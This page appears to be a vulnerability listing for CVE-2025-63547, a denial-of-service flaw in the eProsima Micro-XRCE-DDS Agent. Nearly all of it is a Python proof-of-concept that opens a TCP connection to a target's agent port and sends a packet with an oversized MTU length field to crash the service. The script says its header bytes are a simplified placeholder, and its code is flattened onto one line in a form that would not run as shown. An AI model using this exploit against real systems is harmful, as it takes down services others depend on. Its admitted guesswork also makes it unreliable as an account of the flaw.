CVE-2025-63547 Eprosima Micro-XRCE-DDS Agent 拒绝服务漏洞

import socket import struct # PoC for CVE-2025-63547 # This script sends a crafted packet with a malicious MTU length field # to trigger a Denial of Service in Micro-XRCE-DDS Agent v3.0.1. TARGET_IP = "192.168.1.100" TARGET_PORT = 8888 # Default Micro-XRCE-DDS Agent port def create_crafted_packet(): # Note: The actual byte structure of Micro-XRCE-DDS headers is required for a precise exploit. # This is a representative example demonstrating the manipulation of a length field. # Header placeholder (simplified) header = b'\x01\x00' # Malicious MTU Length Field (e.g., 0xFFFF or a very large integer) # This value bypasses validation and causes the crash malicious_mtu = struct.pack('!H', 0xFFFF) # Padding/Rest of the packet payload = b'A' * 64 return header + malicious_mtu + payload try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((TARGET_IP, TARGET_PORT)) packet = create_crafted_packet() print(f"Sending crafted packet to {TARGET_IP}:{TARGET_PORT}...") sock.send(packet) print("Packet sent. Check if the service has crashed.") sock.close() except Exception as e: print(f"An error occurred: {e}")